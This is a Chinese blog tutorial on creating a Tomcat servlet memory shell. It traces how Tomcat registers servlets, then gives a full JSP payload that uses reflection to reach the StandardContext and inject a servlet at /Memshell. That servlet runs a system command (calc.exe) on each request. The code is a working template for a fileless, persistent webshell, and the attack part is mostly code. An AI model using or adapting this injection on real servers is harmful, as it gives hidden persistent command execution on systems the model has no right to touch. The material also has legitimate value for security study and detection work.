servlet内存马

参考视频:java内存马专题1-servlet内存马

创建javaweb项目,勾选servlet

我们可以将idea给的注释写法,改到web.xml里面

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>HelloWorld</servlet-name>
        <servlet-class>com.example.tomcatdemo.HelloServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>HelloWorld</servlet-name>
        <url-pattern>/hello-servlet</url-pattern>
    </servlet-mapping>

</web-app>

记得加依赖(版本改自己tomcat版本)

xml 复制代码
<dependency>
    <groupId>org.apache.tomcat.</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.91</version> <!-- Latest version as of writing -->
</dependency>

流程分析

我们的目标就是自己写一个Servlet并且注册进Tomcat

首先拿这个demo看下注册过程,注册是在ContextConfig#configureContext中,在下面位置打断点,第三次时开始加载HelloServlet。

创建一个wrapper,很明显我们在自己写注册流程时还要反射获取context

之后看看注册servlet都进行了哪些操作,我们要手动实现这些操作。

setName(类名)

setServletClass(全类名)

把wrapper放入context

将/hello-servletURL映射到HelloWorld Servlet

注册就看完了,但是发现没有实例化的部分。要手动new一个类(下面攻击实现会涉及)。

攻击实现

payload

写个马并将它注册进Tomcat,马好写。主要是如何手动注册Tomcat。

首先要获取standardContext,用request.getServletContext()可获取到,根据下图写反射。

jsp 复制代码
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
  Created by IntelliJ IDEA.
  User: DELL
  Date: 2024/8/5
  Time: 15:50
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%!
    public class addServlet extends HttpServlet {
        private String message;

        public void init() {
            message = "Hello World!";
        }

        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            Runtime.getRuntime().exec("calc.exe");

        }

        public void destroy() {
        }
    }

%>

<%
    //反射获取StandardContext
    ServletContext servletContext = request.getServletContext();

    Field applicationContext = servletContext.getClass().getDeclaredField("context");
    applicationContext.setAccessible(true);
    ApplicationContext applicationContext1 = (ApplicationContext) applicationContext.get(servletContext);

    Field standardContext = applicationContext1.getClass().getDeclaredField("context");
    standardContext.setAccessible(true);
    StandardContext standardContext1 = (StandardContext) standardContext.get(applicationContext1);

    //模拟注册
    Wrapper wrapper = standardContext1.createWrapper();
    wrapper.setName("addServlet");
    wrapper.setServletClass("addServlet.class.getName()");
    //实例化
    wrapper.setServlet(new addServlet());
    standardContext1.addChild(wrapper);
    standardContext1.addServletMappingDecoded("/Memshell","addServlet");
%>
</body>
</html>

流程

首先访问jsp的路径/addServlet.jsp,通过反射将addServlet注册进Tomcat。

之后访问映射/Memshell,用addServlet处理请求,弹计算器。

相关推荐
DianSan_ERP3 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
小道仙974 天前
jenkins对接、jenkins-rest
java·servlet·jenkins·jenkins-rest
vx_Biye_Design5 天前
【关注可免费领取源码】云计算及其应用网络教学系统--毕设附源码35183
java·spring·spring cloud·servlet·eclipse·云计算·课程设计
啊哈哈哈哈哈啊哈哈7 天前
Spring MVC 项目结构学习笔记
java·spring boot·spring·servlet·maven
百锦再7 天前
Jenkins 全面精通指南:从入门到脚本大师
运维·后端·python·servlet·django·flask·jenkins
隔壁老王的代码7 天前
Jenkins的流水线详解
运维·servlet·jenkins
衍生星球7 天前
【JSP程序设计】Servlet对象 — page对象
java·开发语言·servlet·jsp·jsp程序设计
二哈喇子!7 天前
Servlet 开发技术
servlet
vx-Biye_Design7 天前
servlet家政公司管理系统-计算机毕业设计源码01438
java·vue.js·spring·servlet·tomcat·maven·mybatis
云和数据.ChenGuang7 天前
jenkins安装需要多少版本的jdk
java·servlet·jenkins